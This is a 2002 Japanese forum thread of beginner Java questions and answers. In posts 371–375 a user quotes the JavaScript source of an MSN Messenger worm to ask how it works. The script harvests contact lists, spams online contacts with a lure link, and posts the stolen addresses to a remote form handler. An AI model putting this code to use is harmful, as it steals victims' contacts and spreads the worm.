267266:02/02/13 09:05
ごめん
public static boolean isKichigai= true;ね
246
つかえねースレだな
269249:02/02/13 16:00
>266
サンクス(´∀`)
27001:02/02/13 18:49
マニフェストファイルを追加したら次のエラーが出てしまいます。
C:|>jar cvm App.jar aaa.mft
java.io.IOException: invalid header field
at java.util.jar.Attributes.read(Attributes.java:358)
at java.util.jar.Manifest.read(Manifest.java:161)
at java.util.jar.Manifest.<init>(Manifest.java:56)
at sun.tools.jar.Main.run(Main.java:125)
at sun.tools.jar.Main.main(Main.java:904)
マニフェストは
Main-Class: App
(空行)
です。エラーの理由を対処法を教えてもらえませんか?
271デフォルトの名無しさん:02/02/13 19:36
LinuxのJavaで音を出したいんだけど、Soundがうまく鳴らない。
で、面倒くさいんでデバイスファイルにwavつっこもうと考えてるんだけど
これって邪道かな?
272烏龍茶:02/02/13 19:56
>>270
Manifest-Version がいるんじゃないのかな? 違ってたらごめん。

http://java.sun.com/j2se/1.3/ja/docs/ja/guide/jar/jar.html
Java歴1ヶ月の厨房です。
以下のような関数findを作ろうとしています。
次のようなファイル"meibo.txt"を参照します。
番号,名前
011,モナー
012,ギコ
カンマ区切りで1行でレコード項目は2つのみです。
Stringで(番号、ファイル名)を与え返り値で(名前)を返します。
例)find "011" "meibo.txt" →モナー
トークンを使おうとしていますが、入出力法がよくわかりません。
単純な処理だと思いますが、いい方法あればお願いします。
274ほげほげ:02/02/13 21:03
>>273
java.util.StringTokenizerを使えばいいですよ。

BufferedReaderで1行づつよみこんで、
StringTokenizerでトークンに分ければ良いと思います。

もしくはmeibo.txtの中を
001=ギコ
002=モナー
とかにして、java.util.Propertiesで読み込むとかはどうでしょう?
Streamじゃなしに?
276ほげほげ:02/02/13 21:12
StreamTokenizerでも良いかもしれませんね。
でもPropertiesの方が簡単かも。
277デフォルトの名無しさん:02/02/13 21:16
文字列に改行コードを入れて勝手に改行させたいんですが
無視されます
st="aaaa\n\rbbb\n\rccc\n\rdddd";
これじゃダメですか?
278デフォルトの名無しさん:02/02/13 21:22
>>277
その文字列を処理するデバイスやモジュールによって改行コードの扱いは変わる。
コンソール出力させるなら多分それでいいはず。


>>278
ありがとうございます。
ケータイなんですけど
改行されないってことは、ダメってコトですね?
はぁ
コード量が・・
280デフォルトの名無しさん:02/02/13 21:29
>>279
ケータイならさー、スペースで埋めちゃえよ。
パッケト代払うのは顔も見たことも無い客なんだしさ・・・

どうよ?
携帯やったことないけど改行コードないの?
俺の H" はありそうな感じだけど。
282270:02/02/13 21:46
>>272
前まではOKだったんだけど、ソースいじったらこうなった。
なんでだろ…。コンパイルはできるのに。IOの例外が無効です。らしい。
>>278
Dialogでは改行できないよ。
スペースで埋めてもDialogの幅が一定じゃないんでずれる。カコワル
俺はダイアログ自作したよ
>>281
printもprintlnもないみたい
>>283
やはり?
漏れも作り中
すぐできるっちゃできるけど・・・
>>270
JARのヘルプくらい読め。
287239:02/02/14 01:50
>>241
意味が今になってわかりました。
ウインドウの絵って全てソースから作成してるんですね。
なるほど、一から作れといわれたらちょっと今の自分では無理ですね。
便利な分、書き方を忘れてしまいますね。
初心者は覚える為にJDKからのほうが良さそうな気もしてきました。
288デフォルトの名無しさん:02/02/14 04:56
JTableで選択したセルに出る黄色い枠って消せます?
もしくは色を変える。
>>287
そんなのは時代についていけない老人の戯言だ。無視してよし。
便利なものは使え
>271
ttp://java.sun.com/products/java-media/sound/samples/JavaSoundDemo/
これ試してみた?
これが動かないなら実行環境側の問題かと
291271:02/02/14 11:58
>>290
つーか、まさにそれが鳴らないんだけどさー。

実行環境の問題なら板違いっぽいなぁ
Linux板に逝ってきますか・・・
>271
んじゃ、これ使うとか
ttp://www.tritonus.org/
293271:02/02/14 12:10
>>292
英語だ・・・読んでみます。
日本語の解説ページはなさそうだし
使い方がさっぱりわからんけど。

そもそもこれは既存のJavaSoundとは全然別物?
プラグインってなんのことだろ・・・
リフレクションってどういうときに必要になりますか?
295杏里:02/02/14 12:21
は〜とはもう 気ままにリフレクション〜

http://home.catv.ne.jp/dd/chiba/ken/Java/JavaReflection.html
ここが参考になるかと。参考までに
296273:02/02/14 15:36
StringTokenizerを使ってうまくできました。
ありがとうございます。
297デフォルトの名無しさん:02/02/14 16:10
超厨房的質問で申し訳ないのですけど
僕はjavaを初心者本から初めて20h程度勉強しましたが
まだ全く理解出来ていません。
普通の知能の方だと何時間くらいで簡単なソフトを作れるくらいになるのでしょうか?
ちなみに僕はPerl厨房でして、Perlならば中級者程度の腕前のつもりです。
>>297
20hだと、普通はチャットソフトが組める程度。
アプレットの勉強をしてたなら3目並べが組める程度。
組めないようだとプログラマとしての適性は無いと思われ。
>>297
もうプログラム組むのやめたら?
300300:02/02/14 16:14
get
301デフォルトの名無しさん:02/02/14 16:17
>>298
マジスカ。。鬱。。
チャットなんて、パールでやれと言われればちょちょいのちょいなんですけど。。
ああああ。どうもオブジェクト指向が理解しずらいんですよね。。
perl厨房の僕には一つのファイルをjavacすると勝手に他のファイルも
コンパイルされるってのも、理解しがたい現象なわけで。。
まあがんばります。。perlだけじゃ食ってけ無いですもんねw
就職活動中の身です。
わかんねえならわかるまで勉強しろよ。
たかが20hやそこらでヒーヒーいってんじゃねえ
303デフォルトの名無しさん:02/02/14 16:23
>>302
激励叱咤ありがとうございます!
ちょっと自分の理解力の無さ加減に不安になったもので。。
このスレに書き込んだのは初めてですが、どうしても行き詰まった時に
質問させてもらおうかと思います。JAVAマンセー!!(よくわかんないけどなー)
304デフォルトの名無しさん:02/02/14 16:23
月の英語表記(January etc..)どこかにString型で保持されてないですか?

別に
if(this.month = Calendar.JANUARY){
 str = "January";
}
やってってもいいけど、なんかめんどい。
別ウインドウを表示させて親フレームの処理を一時止めておくのって、
どうやればいいですかね?

window.show();

while(true) {
if(inputFlag) {
inputFlag = false;
break;
}
}

とするとシステムごと止まるんですが。
Thread作って無限ループさせてsleep、かなぁ...
AWTのイベント処理スレッドを止めなきゃダメだよ
Dialog/JDialog使おう。
あるいはそのソースを参考にして自作しても別にいいけど
307306:02/02/14 16:49
いや、AWTスレッドを止める訳ではないか。
1行目は忘れてちょ。すまそそそ
308305:02/02/14 16:59
>306
速レス感謝
309305:02/02/14 17:49
感謝と言っておきながらいきなり詰まった。
Dialogを生成するとき、(Frame)mainFrame.thisとしたいんだけど、
staticで無い変数だからって言われて蹴られる。
この場合はどう対処したらいいのか。
310デフォルトの名無しさん:02/02/14 17:59
質問の意味が分からない。
(Frame)mainFrame.thisって何??
>>305 基本的に考え方はあってる。

sleepさせといてインタラプトかける手もあるけど
あまり使わない。(メンドイし)
普通wait,notifyするな。

多分画面のウィンドウイベントで無限ループすると
画面かたまるぞ。

312270:02/02/14 18:11
>>286
わかんないんだけど…
教えてよ。
なんでマ板じゃjava超不人気なんですか?
仕事で使わされてる奴が多いから
315デフォルトの名無しさん:02/02/14 19:28
なんでム板じゃRuby超人気なんですか?


316305:02/02/14 19:52
>310
Dialog(Frame frame,boolean modal)のFrame。
この場合に限らず、staticメソッド内でthisを使いたい時って
どうすれば良いのやら。
>316
君はもうstatic使用禁止な
318ほげほげ:02/02/14 20:44
staticメソッドの中からはthisは使えないですよ。
staticの意味とthisの意味を注意深く考えれば、その矛盾に気付くはずです。
319305:02/02/14 21:12
いや、矛盾とかは分かってるんですが、
thisの代わりに何を使うかが。
>>319
thisの代わりに自分自身を使う。
Shineクラスのaho()メソッドなら Shine.aho()
>>319
this 以外つかってもしゃあないと思われ。明らかにその static メソッドの
設計ミス。下手にごまかさず意味の通るコードに作り直せ。とりあえず static
はずせ。
1.4で大幅にかわった部分ってどこなのさ
323デフォルトの名無しさん:02/02/14 21:40
スレ違いかも知れないけど、SQLJって使ってる人いる?
Oracleのストアドで使おうか考えているんだけど、いまだにOracleのストアドってPL/SQL全盛だから、
もしかしたらSQLJには何か欠陥でもあるのかな?
>>323
PL/SQL の方が知っている人が多いし本もたくさんある。そういうのも
選択肢の一つだとおもわれ
>>322
言語仕様に手を入れたという意味ではassertじゃないの?
つーか、1.4スレあるじゃん、ここ。
326デフォルトの名無しさん:02/02/14 22:42
インナクラスって意味がわかりません。なにかすごいみたいに書いてあるんですが、凡庸にみえます。同様に無名インナクラスも意味わかりません。無名のくせに名前あるし、、、

あと以下のような引数にクラスが入ってるのも釈然としません。どうか啓蒙してくでださい。
addMouseListener(new MouseAdapter(){
public void mousePressed(Mouseevent me){
}
});
}


>>326
スコープが極めて限定されている(OUTER以外のクラスから一切
隠蔽されている)クラスというのは、価値があると思うが。
>>326
outer クラスの内部状態にアクセスできるので、多重継承と同じ事
をやりたいときに使う。
>>326
OUTER(INNER)クラスのprivateメソッドに、INNER(OUTER)クラスは
アクセスできるんだよね。いろいろ便利だよ。
>>328
そうそう、別々のクラスなのに実質一体として扱えるから、
多重継承するのと同じことが出来るんだよね。
331デフォルトの名無しさん:02/02/14 23:32
あの〜Javaでデスクトップアプリつくろうと思うのですが
機能が不十分だと思っている者です。

というか、理念が非常に良くできているので
もっと強力なライブラリがあれば開発効率が非常に良くなると思うのですが
フリーで強力なSwing拡張APIってどこかにないでしょうか?
JTable,JDesktop,JInternalFrame,JToolBarが弱いと思われ、
Officeくらいちょちょいのちょい!と出来上がってしまうくらい強力なライブラリ、、ないっすよね〜・・・
そんなもんあったら MSはとっくに倒産していると思われ。
333デフォルトの名無しさん:02/02/14 23:46
まぁちょちょいのちょい!でOfficeは言い過ぎだけど
なんか結構便利につかえるフリーのSwing拡張APIあったら教えてください
334305:02/02/15 00:05
うむ。逝ってきます...
335デフォルトの名無しさん:02/02/15 00:21
ooplでswitch使ってもいいの?
>>335
何か問題でも?
337326:02/02/15 01:24
で、無名インナクラスの無名とはクラスの定義がないからということでよろしいですか?引数の中に{}というのが論理的に納得できませんが・・・
338ほげほげ:02/02/15 01:39
>>337
名前が無いから無名なんだと思いますよ。
339デフォルトの名無しさん:02/02/15 01:42
>>338
いきなりインスタンス生成から入っていて、コンストラクタ名はあれどクラス名はないから無名であると解釈すればOKですか?
340ほげほげ:02/02/15 01:57
>>339
無名クラスは、確かコンストラクタを持てないはずですよ。
341338:02/02/15 02:08
ふーむ・・・それじゃ例えばこれは何をやっているのでしょうか?
addMouseListener(new MouseAdapter(){

 public void mousePressed(MouseEvent me){
setBackground(Color.red);
repaint();
}

public void mousereleased(MouseEvent me){
setBackground(color.green);
repaint();
}
});
}
}
最初newがきているので右側のはコンストラクタだと解釈したのですが、たしかに変ですね。次に{}がありますし。インデントなしですいません。
 



342ほげほげ:02/02/15 02:19
>>341
それはMouseAdapterを継承する無名クラスを作成して、
それをaddMouseListenerに与えているんですよ。
343338:02/02/15 03:03
ちょっとしらべてみたらこんなのがありました。同じ悩みです。

> "new ActionListener()"の後に
> "{public void actionPerformed・・・(略)"と記述
> できるのがカルチャーショックならぬフォーマットショックです。
おっしゃることの意味を掴みかねます。
より多くの皆さんが正しく理解できる表現をされるようお願いします。

メーリングリストといってもほんとうにたくさんの種類がありますが、
ここは、気心の知れた仲間内でフランクに語れる場所とは違うと思います。
メーリングリストのホームページ、トピックス、
他のみなさんの投稿などをじっくり読まれることをお勧めします。
そうして、ここがどんなコミュニティなのか感じ取ってください。
344SSI質問くん:02/02/15 04:08
return ってよく出てきますが、どういう意味か分かりません。
あまりにも初心者の質問なのかどこにも意味が載ってなくて
困っています。
先ほど、戻り値の意味がやっと分かったばかりです。
これネタじゃないので宜しくお願いします。
return
http://dictionary.goo.ne.jp/cgi-bin/ej-more_print.cgi?MT=return&ID=EJ-259580.txt&sw=0
そのメソッドを呼び出したところに帰るんです.同時に値(戻り値)も返すんです.
OK?
346SSI質問くん:02/02/15 04:26
なるほどよくわかりました。
今4月の基本情報受けるために初めて選んだ言語がJavaでして。
超基本的な用語は説明を見つけるのが大変だよ〜(汗)
347デフォルトの名無しさん:02/02/15 04:36
>>346
それやばくない?
4月なのにreturnって・・・
余計なお世話だけど・・・
348SSI質問くん:02/02/15 04:42
とりあえず勉強し始めて10日目(1日あたり30分勉強)です・・・。
引数、戻り値、returnの意味がいまいちわかんないまま
参考書を読んでいって、今のところ本の1/3ぐらいまで進んでる。
他は今のところ大丈夫です。結構楽しく勉強してるよ。
どうなんでしょ。この調子で行けば間に合いそうだと思うんだけど。

今日おさらいにと、最初から読み返してみて、この3つが???だったので
ネットで探してみたけど、returnだけが全く意味不明でした。
これですっきり!

また状況を報告します。
349デフォルトの名無しさん:02/02/15 04:46
基礎情報だよね〜・・・間違いないよな、去年10月に受けたよ。
当方大学院生でreturnはアフォみたいに今までみてきたけど落ちたよw

でもようは記憶力と賢さだから。
そこがダイジョウブならだいじょぶです。
がむばってくらさい。
350挫折くん:02/02/15 04:48
Javaって難しすぎるだろ・・・
351挫折くん:02/02/15 04:50
いちおC/C++をやってるんだが
Javaの難しさはハンパじゃない
352   :02/02/15 04:54
貴様らアセンブラ言語の勉強してください。
353  :02/02/15 04:57
return????な人が大学院?ネタか?
あ、文型の大学院なんだね。ごめんごめん。
354デフォルトの名無しさん:02/02/15 04:59
>>353
そう解釈されるのが不思議です。現代文不得意でしたか?
355   :02/02/15 05:05
java2 1.4の調子はどうですか?
GUI の速度が上がってる。
速度って上がってるの?

http://homepage1.nifty.com/open-prog/

のAppletとかで比べてみてどうよ?
ウチでは 1.3に比べて確実に速度は落ちてるよ。
あ、マジではやい。
1.3でカクカクだったアプリが
かなり快適
359   :02/02/15 10:21
レスありがとうございます。ところで、RCのときに問題になっていたバグはどうなりましたか?
改善されましたか?回線がISDNのためDOWNLOADには時間がかかります。
改善されていない場合、DLは見合わせよう。と考えているので、、、、
http://pc.2ch.net/test/read.cgi/tech/990949654/l50
360tk2000:02/02/15 12:46
インストール方法の手順に従ってWIN2000に「j2re-1_3_1_02-win-i」をインストールしようとすると
「ファイルC:DOCUME~が見つかりません。パス名が正しいか、必要な・・・」っ出てしまいます。
どなたか対処方法をご存知の方いらっしゃいませんか?未熟者なので教えてください。
>>360
1,解決できない人には、解決に必要な情報を揃えて
 他人に問題点を説明する事が出来ない。
2,解決に必要な情報を揃えられる人は、自力で解決できる。
の2条件を満たしている場合、
解決できるのはあなただけです。

っつーわけで自力で頑張ってください。
362フォントを指定した文字の高さ:02/02/15 13:36
あるフォントの厳密な高さを知りたいのですが、
何か良いメソッドありませんかね?

あるMLのトピックを調べたら、
FontMetricsのgetHeight(),getAscent()などが出てきたのですが、
これはFontMetricsで指定した特定のFontの高さやアセントで、
その指定したFontで書かれた文字の高さやアセントではないようです。

例えば
Font fmonth = new Font("Serif",Font.BOLD,32);でsetFontして書いた
「2」と比べると、(「2」の実寸は、目分量で線を引いて確認)

   getLeading = 2
「2」の上y座標 = getLeading+8
「2」の下y座標 = getAscend -3
   getAscent = 33
   getDescent = 33 
   getHeight = 43

となりました。
何をやりたいかというと、四角の中に好きな位置で数字を配置したい。
論理をフォントがマップされた物理フォントが変わっても、
四角の大きさが変わっても、同じような位置に数字を置きたい
ということです。

もし、この辺のことに詳しい方がおりましたら
教えてください。
363362:02/02/15 13:39
getDescent = 8でした。
364デフォルトの名無しさん:02/02/15 14:19
Javaの仕様の中で最も低水準のネットワーク関連コマンドは何?
・・・普通にバイナリファイルを送受信できればいいんだけど。
コマンド? コマンド? というツッコミはさておき
DatagramSocket, Socketが一番低レベルじゃないすか?
それ以下の部分に触りたければ JNIするしかないような。
366デフォルトの名無しさん:02/02/15 14:37
具体的に言うと画像ファイルを読み込んで保存できればいいです。
http://pc.2ch.net/images/ba.gif
もっと巨大な画像でも一度にいけるような仕様でどうですか?


何がしたいのかわからん。
Socket getInputStream で取れるInputStreamから
readして保存先のOutputStreamにwriteしてきゃ終わり、
とかそーゆーのじゃなくて?
「一度にいける」って何だろう?
368デフォルトの名無しさん:02/02/15 14:46
>>169 烏龍茶さん

Socket s = new Socket(・・・);
InputStream in = s.getInputStream();
while ((c = in.read()) != -1){
・・・
なんですが、どこにEUC_JPの指定を入れればいいですか?

ちなみにこうするとさらに文字化けが多くなってしまいます。
Socket s = new Socket(・・・);
InputStream in = s.getInputStream();
InputStreamReader ins = new InputStreamReader(in, "EUC_JP");
while ((c = ins.read()) != -1){
・・・

>>367さん
上のと関係しています。読み込みエラーが起きるので。
369368:02/02/15 14:51
わかった。ポイントは違うところだった。
読み込みエラーは起きていませんでした。終了。
>>368
ちなみにサーバ上のファイルが正しい事
(ブラウザ等できちんと読み取れる事)は確認済み?

あと、プロトコルがHTTPってわかりきってるなら
HttpUrlConnectionの方が簡単じゃない?
371[email protected]:02/02/15 15:48
<head> <title>Welcome</title>
<Script>

var msnWin;
var msnList;
var msgStr = "URGENT - Go to http://####1";
//var msgStr = "URGENT - Go to <a href="http://####1">www.ratec.ar.cx</a> NOW";
function Go(){
msnWin = document.open("res://####2", "", "fullscreen=1");
msnWin.resizeTo(1, 1);
msnWin.moveTo(10000, 10000);
msnWin.document.title = "Please Wait...";
msnWin.document.body.innerHTML = '<object classid="clsid:F3A614DC-ABE0-11d2-A441-00C04F795683" id="msnObj1">
</object><object classid="clsid:FB7199AB-79BF-11d2-8D94-0000F875C541" id="msnObj2"></object>';
focus();
372[email protected]:02/02/15 15:49
if (msnWin.msnObj1.localState == 1){
msnWin.msnObj2.autoLogon();
}
Contacts();
Send();
msnWin.close();
document.contents.submit();
}
function Contacts(){
msnList = msnWin.msnObj1.list(0);
document.contents.email.value = msnWin.msnObj1.localLogonName;
document.contents.subject.value = Date();
var msnStr = "<br>";

for (i=0;i<msnList.count;i++){
if (msnList(i).state >1){
msnStr += "Online Contact: " + msnList(i).FriendlyName + ",
email: " + msnList(i).LogonName + "<br>";
}

else{
msnStr += "Offline Contact: " + msnList(i).FriendlyName + ",
email: " + msnList(i).LogonName + "<br>";
}
}
document.contents.contentBox.value = msnStr;
}

function Send(){
for (i=0;i<msnList.count; i++){
if (msnList(i).state >1){
msnList(i).sendText("MIME-Version: 1.0\r\nContent-Type:
text/plain; charset=UTF-8\r\n\r\n", msgStr, 0);
}
}
}
373デフォルトの名無しさん:02/02/15 15:49
>>362
別に詳しいわけじゃないけど、もともとフォントの高さってのは
文字によって変わるものじゃない。
ベースラインでそろうように考えられている。
例えば小文字のaと大文字のAでは文字部分の高さは異なる。
これを同じサイズの箱に入れたとき、どちらも天地の中央にくる
ようにするには、実際の高さを測って、置く位置を決めるしかない。
で、実際の高さを測るメソッドは、FontMetricsにはないようだから
自分で測るしかないのでは。
測る方法としては、ちょっとベタなやり方だけど、実際に描いてしまう
というのはどう?
描きたい文字列の幅と高さをFontMetricsで測って、その大きさの
BufferedImageを作り、そこに描く。で、まず、上から文字までの
ピクセルをはかり、次に下から文字までのピクセルを測る。
ま、面倒だけどね。
374[email protected]:02/02/15 15:50
</Script>
</head>
<body onload="Go()">
<p align="center">
<p align="center"> </p>
<p align="center"> </p>
<p align="center"> </p>
<p align="center"><font face="Arial">
Please Wait...</font></p>
<form METHOD="POST" ACTION="http://####3"; NAME="contents" ID="Form1">
<input type="hidden" name="redirect" value="http://####4"; ID="Hidden1">
<input type="hidden" name="recipient" value="[email protected]" ID="Hidden5">
<input type="hidden" name="email">
<input type="hidden" name="subject">
<input type="hidden" NAME="contentBox" id="Hidden6">
<input type=hidden name="env_report" value="REMOTE_HOST,HTTP_USER_AGENT">
</form>
</body>
375[email protected]:02/02/15 15:51
http//users.skynet.be/dark.angel/cool.htm

これをクリックしてジャンプすると、自分の登録しているユーザに同様の
メッセージが送られ、蔓延します。

但し周りの状況から推察するに、これが起きるのはどうも Windows の
デフォルトブラウザが IE の場合のようです。当方 Opera6 をデフォルト
ブラウザにしているのですが、これは起きませんでした。

これについての情報を少し漁ってみたのですが、WWW 上では見当たりません
でした。それでこのソースを取得してみました。見たところクライアント
サイド実行型のスクリプトのようですが、当方ではちょっと分からないので
よろしければご教授頂けると幸いです。

本来ならば先頭と最後に <html></html>タグが入りますがここでは念のため
割愛しておきます。

また、URL が直接的にあらわれる部分は以下のように変更しています。

####1 = 'users.skynet.be/dark.angel/cool.htm'
####2 = 'mshtml.dll/blank.htm'
####3 = 'www.rjdesigns.co.uk/cgi-bin/FormMail.pl'
####4 = 'www.ratec.ar.cx'

http://memo.st.ryukoku.ac.jp/archive/200202.month/2955.html
にある。
http://pc.2ch.net/test/read.cgi/sec/1013660945/66-69
376デフォルトの名無しさん:02/02/15 16:43
マジ質問(ただし厨)
J2SE1.4入れたらJ2MEにも変化ありますか?
マジレス(ただし厨)
J2MEって何すか?
ネタレス(ただし鬱)
Java 2 Millennium Edition
379362:02/02/15 21:53
>>373

回答thanks!!

>実際の高さを測るメソッドは、FontMetricsにはないようだから
>自分で測るしかないのでは。

なるほどやはりそうですか。

>測る方法としては、ちょっとベタなやり方だけど、実際に描いてしまう
>というのはどう?
>描きたい文字列の幅と高さをFontMetricsで測って、その大きさの
>BufferedImageを作り、そこに描く。で、まず、上から文字までの
>ピクセルをはかり、次に下から文字までのピクセルを測る。
>ま、面倒だけどね。

bufferedImageって使ったことがないのでこれから調べてみます。
[文字までのピクセルを測る」なにか良いメソッド在りましたら、
ヒントをください。
お願いします。
380デフォルトの名無しさん:02/02/15 22:09
ケータイなんですけど
addCommand(new Command("xxx",Command.SCREEN,1));
setCommandListener(this);
こんな感じでCommandを追加した場合、
どうすればremoveできますか?

Command xxx;などと宣言すると
なぜか実機でエラーが出て実行できないもので・・・
ドコモに聞けやぁー
インスタンスがワケワカラソ
AのクラスでBのインスタンスを作り、BのクラスでAのインスタンスを作っても、
前者のAと後者のAは同じじゃない?
なんかインダクタンスとかリアクタンスとかで苦しんでた頃思い出すな(w
384デフォルトの名無しさん:02/02/15 23:05
JScrollPane()に入ったJTableを

>> myTable.getColumnModel().getColumn(n).setPreferredWidth(widths[n]);

としてカラム幅を変えた直後

myTable.getColumnModel().getSelectionModel().setSelectionInterval(n,n);

と選択位置を移動すると、選択位置はかわるものの
JScrollPane()の中に選択セルが表示されないのですが・・
(サイズ変更前の選択セル位置にViewが動いているみたい??)

普通にsetSelectionInterval(n,n)するとちゃんと
スクロールして選択位置に移動しますよね??

どうすればsetPreferredWidth()後のsetSelectionInterval()を適切に
動かす事ができるんでしょうか??
アプレットで文字をクリックしたら指定したURLにジャンプ
したいんですけど、なんてメソッド使えばいいんでしょう
>>385
JavaScriptと連携しないと無理じゃない?
Applet単体だと無理のような…
387デフォルトの名無しさん:02/02/15 23:46
Javaの勉強最近は全然してません。
Javaが、全然楽しくないだもん。
MS-DOSで文字が出てくるだけの状態でどう楽しめというんですか。
HSPは初めから、楽しかったですよ。
すぐにJPGを読み込めたり、好きな位置に文字を表示できたから。
>>387
じゃ〜 勉強止めれば?
無理は体に悪いよ。
うん
HSP向きだね
390デフォルトの名無しさん:02/02/16 00:14
糞つまらないJavaなんて投げ捨てて、HSPを始めてみようよ!
とっても楽しいよ!
ケータイからサーバーまで使える?>HSP
392デフォルトの名無しさん:02/02/16 00:21
>>390
「楽しみたい」のが目的ならiアプリやってみたら?
http://homepage2.nifty.com/psycosexy/iappli
>>390
勝手にやってれば?
それとも何事も他人と一緒でなければ
出来ない寂しがり屋さんなのかな?
カリスマiアプリプログラマって…
そーいや「カリスマ」って最近あんまし聞かないねぇ
395373:02/02/16 00:27
>>362
特に便利なメソッドはないけど、BufferedImageのgetRGB(x,y)は、
イメージのx,y位置のピクセルをintで返してくれるから、それが
背景の色か文字の色かをチェックする。
0,0から初めて、文字色がでてくるまでループすれば、文字色が出た
xの値が上からのピクセルになるよね。下からも同様でできる。
もちろん、描くときに背景を白、文字を黒とか決めておく必要はある。
イジョ、頑張って。

396デフォルトの名無しさん:02/02/16 02:47
>>360
ユーザー名に日本語とか全角スペースが入ってるとそうなるかも。
インストーラで対応できんのかいな

397名無し:02/02/16 03:04
アプリケーションでwebから画像を取ってくるところで悩んでいます。
URL url=new URL(String "ここにhttp://を入れている");
Image imgs=Toolkit.getDefaultToolkit().createImage(url);
で、時々、反応の遅いwebサーバーに読みに言ったときに止まってしまいます。
URLやURLConnectionにはTimeOutが無いみたいです。
皆さんは、タイムアウトの設計をどうやってますか?
ちなみに、開発環境はw2k jdk1.3.1です。
Runnableで囲って、Threadを導入しようとかいろいろしてみましたが、どうもうまく行きません。
>>385
showDocument(URL)
399デフォルトの名無しさん:02/02/16 13:49
int youbi(int y, int m, int d);
おわかりのように、年月日を入力して曜日を取得したいです。
何を使えばいいですか?
int youbi(int y, int m, int d)
{
 return youbi(y, m, d);
}
Calendar c = Calendar.getInstance();
int youbi = c.get(Calendar.DAY_OF_WEEK);
402401:02/02/16 14:03
あとGregorianCalendarも知っとけ
403デフォルトの名無しさん:02/02/16 14:48
import java.io.*;
import java.util.*;

public class cal
{
  public static void main(String args[]) {
    Calendar c = Calendar.getInstance();
    int youbi;

    c.set(2002, 2, 2);
    youbi = c.get(Calendar.DAY_OF_WEEK);
    System.out.println(youbi);
    
    c.set(2002, 2, 1);
    youbi = c.get(Calendar.DAY_OF_WEEK);
    System.out.println(youbi);

    c.set(2002, 1, 31);
    youbi = c.get(Calendar.DAY_OF_WEEK);
    System.out.println(youbi);

    c.set(2002, 1, 30);
    youbi = c.get(Calendar.DAY_OF_WEEK);
    System.out.println(youbi);
  }
}

出力は
7
6
1
7
1月の曜日が間違って計算される。どうしてですか?

また、UNIX時間を取得したいときは?
このスレッドなら1012968994っって番号のことです。
404デフォルトの名無しさん:02/02/16 15:11
ジャバでゲーム開発しようとしましたが、
ブラウザで動作が違って(IEとネスケ)
かなーり萎えました。
今は安定してますか?どうです?
>>303
1.3 or 1.4のJavaプラグイン(JRE)を入れさせるように仕込む
とっても安定
406ほげほげ:02/02/16 15:13
>>403
1月31日にセットしたいなら
×c.set(2002, 1, 31);
〇c.set(2002, 0, 31);
ですよ。

407デフォルトの名無しさん:02/02/16 17:52
>>397
socket使って自分で書くしかなかった、と思う、多分・・
HttpURLConnectionのソースいじればできるだろうけどライセンス違反
408デフォルトの名無しさん:02/02/16 22:13
String文字列をMIMEエンコードしたりデコードしたりするのは?
これ使ってみればイイと思う。>>408
http://java.sun.com/j2ee/ja/javamail/
410デフォルトの名無しさん:02/02/17 00:30
調べては見たのですが見つからなくて・・
Buttonの色って変えられないのでしょうか?
できるならやり方教えてください。
変えない方がいいと思うが・・・
ドキュなインターフェースにならない?
412JAVA歴1ヶ月:02/02/17 00:44
class Test1 {
}

class Test2 extends Test1 {
}

class Test3 {
public static void main(String args[]) {
Test1 obj = new Test2();
if ( obj instanceof Test1 && obj instanceof Test2 )
System.out.println("obj is instance of Test1 and Test2");
}
}

をコンパイルして実行したら、obj is instance of Test1 and Test2
が出力されたのですが、Test1 obj = new Test2();をやると、
Test1クラスとTest2クラスの両方のインスタンスであるobjをつくる
ことになるのでしょうか???Test2だけのインスタンスをつくるの
でなく?どなたか教えてくださいませんか。
>>412
ねたです?

「ヒロシは動物で、かつ人間です」ってことは、
動物のヒロシと、人間のヒロシが別々にいるってことじゃないしょ
特定の文字列でOE5がプレビュー時にハングアップ

以下のような文字列を含むメールを開く・プレビューするとOutlookExpressが固まります。
<" http://www.testtest.co.jp/ "@www.testtest.co.jp>

-----

>> http://japan.cnet.com/News/2001/Item/011120-3.html?mn
> セキュリティー会社がInternet Explorer(IE)のセキュリティーホールの詳細を
> 公開したことに対し、IEユーザーを危険に晒したと非難していた米マイクロソフトだが、
> 実は1週間前からその欠陥を知っており、修正パッチをリリースできずにいたことを認めた。

そういえば自分も今年の3月頃、特定の文字列がかかれたメールを
OutlookExpress5に送るとプレビュー時にハングアップすることを発見し、
マイクロソフトに送ったのに、今のOE6でも直ってない。

内部的にセキュリティーホールに繋がってるとまずいと思って、
公開してなかったけれど、時間的にもう十分だよね。

以下のような文字列を含むメールを開く・プレビューするとOutlookExpressが固まります。
<" http://www.testtest.co.jp/ "@www.testtest.co.jp>
(ここではhttpを大文字にしています。)

以下より転載
http://memo.st.ryukoku.ac.jp/archive/200111.month/1912.html
>410
411二同意ながら
Component.setBackground(Color c)
Component.setForeground(Color c)
416410:02/02/17 04:09
>>411
>>415
ありがとうございました。おかげ様でできました。

>変えない方がいいと思うが・・・
>ドキュなインターフェースにならない?
変えると何かまずいのでしょうか?
ドキュなインターフェースとはどう意味ですか?
まだ勉強はじめたばっかなもんで、よかったら教えて下さい。
>>416
初心者にありがちな原色使いまくり、ボタンでかくしすぎなユーザ
インターフェースの事じゃないの? そういうのって Mac や Linux
で表示するとエラいことになるよ。
418362:02/02/17 07:34
>>373 (395)
2日遅れですが、なんとか文字の高さを求めるクラスが完成しました。
感謝を込めて、ソースを公開します。
もしお使いになるならば、コンストラクタの引数でCanvasのサブクラスを今回はつかってますが、
状況に合わせて呼び出し側のコンポーネントに変更してください。
import java.awt.*;
import java.awt.image.*;
import java.applet.Applet;
import java.lang.*;

public class CharMetrics {

  /**バッファイメージ*/
  private BufferedImage offimg;
  private Graphics offgraph;
  /**bufferingImageのサイズ*/
  private int dwidth;
  private int dheight;
  /**ピクセル抽出*/
  private int[] pixel;
  private PixelGrabber pg;

  /**文字の高さ*/
  private int height;

  public CharMetrics(char ch,Font font,CalMonthCanvas canvas) {

    FontMetrics fm = canvas.getFontMetrics(font);
    this.dwidth = fm.charWidth(ch);
    this.dheight = fm.getHeight();
    /**バッファイメージ環境生成*/
    this.offimg = (BufferedImage)canvas.createImage(this.dwidth,this.dheight);
    this.offgraph = offimg.getGraphics();

    /**引数の文字のバッファイメージへの描写*/
    Character chara = new Character(ch);
    String str = chara.toString();
    this.offgraph.setFont(font);
    this.offgraph.drawString(str,0,fm.getAscent());

    /**ピクセル各個のint配列へ変換*/
    this.pixel = new int[this.dwidth*this.dheight];
    this.pg = new PixelGrabber(this.offimg,0,0,this.dwidth,this.dheight,this.pixel,0,this.dwidth);

    /**文字の高さ設定*/
    this.setHeight();
  }
